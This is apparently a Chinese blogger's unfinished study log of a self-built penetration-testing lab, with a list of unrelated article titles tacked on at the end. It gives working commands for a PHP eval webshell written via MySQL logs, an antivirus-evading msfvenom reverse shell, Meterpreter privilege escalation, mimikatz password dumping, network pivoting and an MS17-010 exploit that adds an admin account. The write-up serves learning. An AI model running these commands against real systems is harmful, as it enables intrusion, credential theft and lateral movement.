这篇文是我翻草稿发现不知道什么时候写的,只写到一半虚拟机都删除了,但是既然写都写了,凑合看一看

文章目录

  • 配置
  • 开始渗透
    • 拿下 win7
    • 举例 ftp
    • 尝试文件上传
      • 大小写绕过
      • 空格绕过
      • 点绕过
      • ::$DATA 绕过
    • 尝试 sql 写文件
  • 提权
  • 横向渗透

配置

三个主机都设置为VMnet1(仅主机模式)

win7 单独添加一个虚拟网卡,设置为 NAT 模式,用于和物理机连通


关闭 win7 防火墙!(关于防火墙不太懂需要怎么设置就全关了,需要的时候再开)

win7 phpstudy 搭建 yxcms,至此,环境搭建完成

设置 win7 为固定的 IP

开始渗透

思路很清晰,通过和外网互通的 win7 主机上的 cms 拿到初步的权限,进行权限提升,然后再通过 win7 信息收集,拿到win2008win2003 的服务器

拿下 win7

安装完有前台和后台页面,前台页面简单看了一圈,有比较熟悉的留言板和搜索框,剩下的就是文章和图片的展示,交互功能比较少,而且后台没有账号密码,查询一下官网的安装手册

默认账号密码 admin/123456,尝试登录,成功,那么怎么拿下主机的控制权呢?

① 传后门(一句话木马之类)连 abc(蚁剑冰蝎菜刀),然后提权上线 cs/msf

因为一般这个后门是需要通过 http 服务访问网站后门文件的,所以叫 webshell,shell 就是交互式命令行类似 cmd

② 直接远程连接 类似 3389 ,ssh,远控软件等

举例 ftp

为了方便不了解的同学直观的理解(可以直接跳过,这块写完发现没地方放了只好插到这篇文章里),举个例子,扫描端口时发现 21 端口存在 ftp 服务

暴破口令(我这里是直接扫描出的弱口令,所以对于工具使用只做演示)

hydra targetIP ftp -L username.txt -P password.txt -V

登录

ftp://admin:admin@ip:21       //扫描结果: 用户名/密码/ip/端口

可以查看文件 dir/ls

ftp 服务一般都是和网站绑定的,可以通过 http 访问上传的文件,连接后门,上传个一句话木马,使用 put 命令

连接后怎么进行下一步呢?右键打开虚拟终端

之前讲 cs 入门时可以执行 powershell 命令上线主机

上线成功,因为都是自己本机搭的环境(前面扫描的是蜜罐就不演示了),权限都很高的,ftp 可以执行所有操作,shell 用户是我本机用户,非一般服务器默认的 http 低权限用户

删除后门就 delete,清理一下自己的痕迹,下一步就是通过这个主机进一步渗透内网,大致了解了这个过程,我们再继续看 cms,能否找到一些突破点

后台的权限功能一般都比前台多,更容易找到突破点,所以先从后台下手

尝试文件上传

发现后台有上传文件功能,可以尝试上传木马

编辑器点击上传图片和添加链接两个功能时没有反应,上传文章封面图片会上传到指定目录并重新命名,前台没有显示(没看到),直接上传 php 文件会被过滤

判断如何过滤:上传正常图片,修改文件后缀名为 php,上传失败,证明检查了后缀名

能否绕过? 百度一下

大小写绕过

失败

空格绕过

加空格正常解析,可以绕过.php 类的完全匹配 失败

点绕过

windows 解析文件会自动去掉文件名最后的点 xx.php.==xx.php 失败

::$DATA 绕过

windows 会将它当作文件流处理 不会检测后缀名 且解析后的名字没有 ::$DATA,失败

在测试时,发现请求一旦抓包,只要修改了文件名,即使是同样的名字,a.jpg->a.jpg,都会提示非法图像文件,不修改则会正常上传

我实在是想不明白,即使前端发包时记录了文件指纹做对比,那修改成一模一样的,为什么还会显示非法图像呢?

看了源码发现是白名单比较了后缀名,但是不应该是改文件名的时候出现非法图像的提示,换了 kali 的 burp 发包就没有这种错误,这种白名单一般要配合文件包含漏洞利用,不想深究浪费时间了,看别的

尝试 sql 写文件

sql 可以增删改查,写文件自然不在话下,一般获取 shell 的方法就是就是写一句话木马

用的就是 select into outfile 语句,我们知道网站的绝对路径,默认打开的探针页面就有显示,因为我们的木马必须要自己能访问到才能谈下一步,而一般服务器只有 web 目录我们能访问,所以需要找到类似于如下的 web 目录,默认 mysql 写文件是自己的目录,我们不能通过 http 访问

尝试写文件,报错,语句不确定是否正确,在服务器 mysql 命令行尝试写入,失败,原因是 secure-file-priv 选项配置不允许写入

前端查看该选项 show variables like '%secure%',看不到查询记录,该值为 null

在探针页面有 mysql 连接接口,直接一个弱口令 root/root 连接成功,一般的 phpstudyphpMyAdmin 管理数据库,dirsearch 扫描目录,登录 phpMyAdmin

phpMyAdmin getshell 常规思路也是写入后门文件,但是没有导出权限,另一个方法就是利用日志写文件

首先查看日志是否开启 show variables like '%general%',已经开启了

general_log_file 是日志写到哪个文件,我们将其设置为 web 目录下的 php 文件,然后写入的日志语句为一句话木马,即可达到目的

set global general_log_file="C:/phpStudy/WWW/log.php"

可以看到已经创建了文件

我们尝试执行

select 100

可以在文件末尾看到记录

写入一句话

SELECT '<?php eval($_POST[cmd]);?>'

成功连接 win7

cs 上线,powershell commond 没有反应,不太清楚什么原因,防火墙都是关闭的,都能正常 ping 通,换个方法,cs 生成 exe 木马,上传执行,可以成功上线 win7

使用 msfvenom 生成木马,kali ip 是 128,生成直接被杀毒软件杀了,看来 cs 生成的还是比较好一点的,设置信任该木马程序

msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp LHOST=192.168.159.128 LPORT=1234 -b"\x00" -e x86/shikata_ga_nai -f exe > msf.exe

msf 建立监听,配置选项,执行

use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 192.168.159.128
set LPORT 1234
exploit

win7 运行 exe 文件,msf 获取到会话

提权

我们上一步获取到的都是会话,cs 或 msf 只是为了方便进一步渗透

拿到 shell 下一步就是提权,先查看权限,就是管理员权限,很高权限了,最高权限是 system 权限

因为我们已经获取了 msf 的会话,直接 getsystem 获取系统权限(因为最终目的只是为了了解内网测试的流程,所以不会有什么阻碍)

这个 getsystem 是什么呢?

/*!
* @brief 尝试使用多种技术将当前的 Meterpreter 提升到本地系统。
* @details 此函数尝试使用多种技术获取系统级权限。
* 如果调用者没有指定特定的技术,那么所有已知的技术都是
* 按顺序尝试,直到成功。
* @return 表示成功或失败。
* @retval ERROR_SUCCESS 提升到 `SYSTEM` 成功。*/

这个命名管道(named pipe)blabla 又是什么东西呢?说一下我的粗浅理解以及查阅的知识

命名管道连接两个进程,被连接的叫服务端,连接的叫客户端,服务端可以模仿客户端的权限

方法 1 是通过 msf 创建一个命名管道,我们作为服务端等待连接,然后创建一个系统服务(必须是管理员权限且没有uac),该服务会运行 cmd ,cmd 作为命名管道客户端连接,因为系统服务默认是 system 权限,它创建的进程也是 system 权限,连接后我们就可以获取到该进程的同等 system 权限

方法 2 也差不多,不同之处在于是通过写入 dll 文件,然后通过 rundll32.exe 来运行 dll 文件创建命名管道

方法 3 这个方法假设 Meterpreter 进程拥有 SeDebugPrivilege 权限(可以使用 getprivs 命令来获得),它首先遍历所有服务,寻找一个以 System 权限运行并且我们有向其中注入的权限,然后使用 dll 反射注入来运行 elevator.dll,该 DLL 会获取被注入进程的 System 权限的 token,然后将它赋予 Meterpreter 的一个线程。只能在 x86 环境下运行

方法 4 没看到说明

总之,一键提权后,下一步就是横向渗透

横向渗透

检查一下当前环境是否为虚拟机,虚拟机或者 docker 很有可能就是蜜罐什么的

meterpreter> run post/windows/gather/checkvm

查看打了哪些补丁,按两下 tab 键查看匹配的命令,打了补丁对应的漏洞就没法利用

meterpreter> run post/windows/gather/enum_patches

msf 的脚本目录

/usr/share/metasploit-framework/scripts/meterpreter

这时 cat 查看又是乱码,因为 windows 默认gbk 编码,需要转换一下,命令还不算太长

cd .msf4/logs/scripts/scraper/日志目录
iconv -f gbk -t utf-8 users.txt

或者安装终端终结者,右键选择 gbk 编码,一劳永逸

apt-get install terminator

还可以安装 rlwarp 工具,可以上下键调用历史命令

apt-get install rlwrap
rlwrap msfconsole

抓取 hash 值,hash 值是密码 hash 加密后的值,如果能破解就可尝试安全登录,不怕杀软

meterpreter> run windows/gather/credentials/windows_autologin
meterpreter> hashdump

但是 LM、NTML 两种值都是空,这应该是失败了,我们的账号都是有密码的

上传 mimikatz 程序,该程序是抓取明文密码的工具(msf 现在是 kiwi)

execute  -i  -f  mimikatz_trunk/x64/mimikatz.exe

进入 mimikatz 执行界面(注意路径)

该程序需要管理员权限执行

privilege::debug                  // 获取高权限读取密码(已经是sysytem权限了)
sekurlsa::logonpasswords          // 获取密码

读取到管理员的明文密码和所在域名,god 域,因为密码设置的较为复杂,hash 无法解密出来,有了密码很容易想到尝试远程桌面连接,一般远程管理我平时都用 todeskmobaxtermmsf 里面也有脚本开启远程桌面服务

meterpreter> run post/windows/manage/enable_rdp

成功开启

直接用域用户登录,用户名:god/Administrator,密码:上一步的密码,但是在主机会看到记录,而且一个用户只能一个人登录,我们一旦连接管理员用户就会注销,这也太明显了

创建一个登录用户,登录

run getgui -u testtest -p Testpass@3344
rdesktop -u testtest -p Testpass@3344 192.168.159.129

没有远程登录的权限,有没有脚本将其添加到远程桌面组这就不清楚了,略过

不登录的状态还可以截图

screenshot

所谓横向渗透,思路也是一样的,拿到一台主机,可以探测其它主机,然后收集信息,进行渗透,无非也是那些东西…

那么第一个问题,就是探测当前网络环境,有哪些存活设备可供我们继续渗透的

查看网段信息

meterpreter > run get_local_subnets

扫描网段主机

meterpreter > run post/windows/gather/arp_scanner RHOSTS=192.168.52.0/24

kali 是无法和域内主机相连的,如果我们用 nmap 直接扫描是行不通的

我们先给 msf 配置路由,一条报文如果想发出去,必须确保是完整的报文,这也就是说它的源 ip、源 mac、目的 ip、目的 mac 必须是有的,然后还要根据它的目的 ip 匹配路由表,确定要从哪个网卡发出,有了这些,报文就会从网卡发出去,配置了路由表后,由 msf 作为网关进行数据转发,下一步还是利用win7 本身的网络(猜测)

meterpreter > run post/multi/manage/autoroute

扫描开放端口,用自带脚本,可以连通 52 网段,不配置路由也是行不通的

background                     // 后台挂起会话
use auxiliary/scanner/portscan/tcp
set rhosts 192.168.52.138
set ports 135,445,80,22,3389
set threads 30
exploit

虽然能用脚本对内网主机进行测试,但是还是无法用其它工具比如 nmap,sqlmap…工具,此时我们可以使用代理,还是使用 msf 做一个 socket 代理,使得我们本机的流量也可以走 msf 会话通道(当然 msf 是配置完路由的状态),background 挂起会话

use auxiliary/server/socks_proxy
set srvport 1888
set srvhost 127.0.0.1
set version 4a
exploit

自动后台运行,编辑配置文件

root@kali# vi /etc/proxychains4.conf

最下面添加代理配置

然后测试使用 nmap,因为无法代理 icmp 流量,所以要加上 -Pn和-sT 这个限制很多

root@kali# proxychains nmap -sT -sV -Pn -n -p22,80,135,445 --script=smb-vuln-ms08-067.nse 192.168.52.141

我们还使用了一个脚本,检测 ms08-067 的,因为目标机器是 win2003,所以很有可能存在这个漏洞,验证存在该漏洞

尝试使用 msf 脚本攻击

proxychains rlwrap msfconsole       // 继续用之前的代理
search 08_067
use...
show targets
set target xx
...

失败了,可能是配置原因,也可能是防火墙?没看到在哪检查,换一个 ms17_010,因为这两个漏洞都比较经典,提的比较多

admin/smb/ms17_010_command 是 17_010 命令执行的利用模块,不出意外又失败了,但是在尝试 win2008 时成功了

ms17_010 有四个相关模块,0 执行成功的话会返回一个 meterpreter 会话

use exploit/windows/smb/ms17_010_eternalblue
set...
set payload windows/meterpreter/reverse_tcp
show targets        // 设置目标机器型号
set target 3
run

攻击可能是攻击了,但是没有建立会话

查阅资料后发现,这种情况很普遍,没什么好的解决办法,比较推荐的就是使用原生 fb.py 利用,看完觉得配置比较复杂,需要 python 环境还要上传 n 多脚本到服务器…我们选择曲线救国,使用command脚本新建用户到管理员组

use auxiliary/admin/smb/ms17_010_command
set...
set command net user testtest Aa123456!@# /add
run
set command net localgroup administrators testtest /add
run

执行成功,我这里直接是 system 权限,注意创建用户的用户名密码要符合复杂度规则,不要用过于简单的,否则无法成功

开启远程桌面,然后连接,kali 终端叹号需要转义

msf6 auxiliary(admin/smb/ms17_010_command) > set command wmic RDTOGGLE WHERE ServerName=’%COMPUTERNAME%’ call SetAllowTSConnections 1
msf6 auxiliary(admin/smb/ms17_010_command) > run
proxychains rdesktop 192.168.52.138

登录 god 域创建的 testtest 用户,域的特殊之处在于域管理员能登录域内的任意一台主机,但是管理员并不能为所欲为

后面就没了…

ATTCK 1一个烂尾的学习记录相关推荐

  1. FreeRTOS学习记录

    FreeRTOS学习记录 前言 FreeRTOS学习记录 在STM32CubeMX中配置FreeRTOS 前言 本人小白,最近学习了FreeRTOS操作系统,打算做一点记录. 学习的过程中虽然做了点练 ...

  2. 国家电网SAP 烂尾悬疑

    三年前,国家电网信息化工程出台,SAP以20亿元高价蹊跷中标.三年后,该项目不仅推广不利,更落下"用了很痛苦"的评语.这个国内公司仅用1/3价格就可中标的项目,正陷入"烂 ...

  3. [Python学习]PycURL简单学习 - limodou的学习记录 - limodou是一个程序员,他关心的焦点是Python, DocBook, Open Source …...

    [Python学习]PycURL简单学习 - limodou的学习记录 - limodou是一个程序员,他关心的焦点是Python, DocBook, Open Source - [Python学习] ...

  4. Linux系统学习:网络指令:如何查看一个域名有哪些 NS 记录

    Linux 中提供了不少网络相关的指令,因为网络指令比较分散,本课时会从下面几个维度给你介绍,帮助你梳理常用的网络指令: 远程操作: 查看本地网络状态: 网络测试: DNS 查询: HTTP. 这块知 ...

  5. git缓冲区查看_git原理学习记录:从基本指令到背后原理,实现一个简单的git

    好家伙~ 实操可以考虑点击阅读原文跳转到博客地址,博客可以点超链接可能会方便一些. 一开始我还担心 git 的原理会不会很难懂,但在阅读了官方文档后我发现其实并不难懂,似乎可以动手实现一个简单的 gi ...

  6. git原理学习记录:从基本指令到背后原理,实现一个简单的git

    一开始我还担心 git 的原理会不会很难懂,但在阅读了官方文档后我发现其实并不难懂,似乎可以动手实现一个简单的 git,于是就有了下面这篇学习记录. 本文的叙述思路参照了官方文档Book的原理介绍部分 ...

  7. 学习记录贴:上班摸鱼做一个看lol文字直播的小工具

    学习记录贴:上班摸鱼做一个看lol文字直播的小工具 前言 运行图 流程及思路 项目及代码 总结 前言 本人纯新手小白,上班练手. 致谢: 基于Python命令行的NBA文字直播小工具. 运行图 流程及 ...

  8. 2023.2.3,周五【图神经网络 学习记录17】二部图——BiNE算法:显式关系,隐式关系;新的随机游走方式 特点:随机游走次数 是跟节点中心性相关的,在随机游走的过程中 添加一个停止随机游走的概率

    声明:仅学习使用~ 前情提要: 2023.2.2,周四[图神经网络 学习记录16]异构图Graph Embedding算法--GATNE(异构图多属性 多边 类型算法),不建议普通PC跑-PyChar ...

  9. Essential C++学习记录笔记整理35(定义一个派生类)

    目录 派生类: 一些机制的说明 纯虚函数和虚函数的补充 类继承的一些原则和注意(对于继承过来的数据成员/成员函数) 跳过虚函数机制 派生类同名成员优先被调用机制 如何在派生类调用基类的成员函数(该成员 ...

  10. Geek 02 学习记录 (实现一个最简单内核)

    02 实现一个最简单内核的学习记录 1. 分区表 GPT 和 DBR 的区别 主引导扇区:硬盘的0柱面.0磁头.1扇区(也叫主引导记录MBR),大小为512Byte. 分区表(DPT):位于主引导分区 ...

最新文章

  1. 模型树——就是回归树的分段常数预测修改为线性回归 对于非线性回归有较好的预测效果...
  2. Qt + VS 【如何添加图片资源】
  3. OpenCV2.4.13在VS2012环境的debug模式下的链接库输入配置的文件目录
  4. HDU - 6625 three arrays (Trie+dfs)
  5. CyanogenMod源码编译模拟器
  6. php 如何实现关键字查找,php中如何通过关键字查找文件中包含该关键字的所有行内容呢...
  7. biginteger和long精度_修复Long类型太长,而Java序列化JSON丢失精度问题的方法
  8. MUI 图标显示不出来 - 分析篇
  9. NBU客户端安装(linux和windows)
  10. 项目管理---SVN,Subversion的安装,客户端和服务端
  11. 原生交互(mPass)
  12. 透过安全事件看软件组成分析SCA
  13. 财务自由的日子,我抑郁了
  14. python播放全网视频+打包成exe
  15. 竟然有这种榜单,程序员真的是又有爱又无聊
  16. 计算机网络病毒防范,计算机网络病毒的十项防范措施
  17. 网络共享里的计算机无法打开,局域网共享文件夹打不开怎么办
  18. 图片base64编码的前端展示及后端解码,编码
  19. html背景图片自适应窗口大小
  20. 视频垂直翻转播放的效果,如何同时制作多个视频

热门文章

  1. 华为交换机路由器密码重置笔记
  2. 感受野的含义及计算方法
  3. TCP/IP入土指南
  4. oracle px execute reply,(转)PX Deq: Execute Reply 案例说明
  5. 如何使用Joplin搭建私有笔记软件
  6. 一起来找:程序员必去的社区与网站
  7. 洛谷P4238:【模板】多项式求逆
  8. 闲鱼数据采集学习研究
  9. 微信网页授权登录demo
  10. Unity曲面UI插件Curved UI